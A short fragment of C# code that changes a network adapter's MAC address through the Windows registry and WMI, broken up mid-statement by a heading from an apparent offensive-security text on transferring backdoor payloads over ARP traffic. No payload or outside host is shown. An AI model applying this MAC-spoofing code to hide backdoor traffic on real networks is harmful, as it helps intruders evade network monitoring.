     using (RegistryKey bkey = GetBaseKey())
     using (RegistryKey key = bkey.OpenSubKey(baseReg + nicid))
      {
       if (key != null)
       {
          key.SetValue("NetworkAddress", newmac, RegistryValueKind.String);
         ManagementObjectSearcher mos = new ManagementObjectSearcher(
```

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 8 : Transferring Backdoor Payloads by ARP Traffic

```
new SelectQuery("SELECT * FROM Win32_NetworkAdapter WHERE Index = " + nicid));
```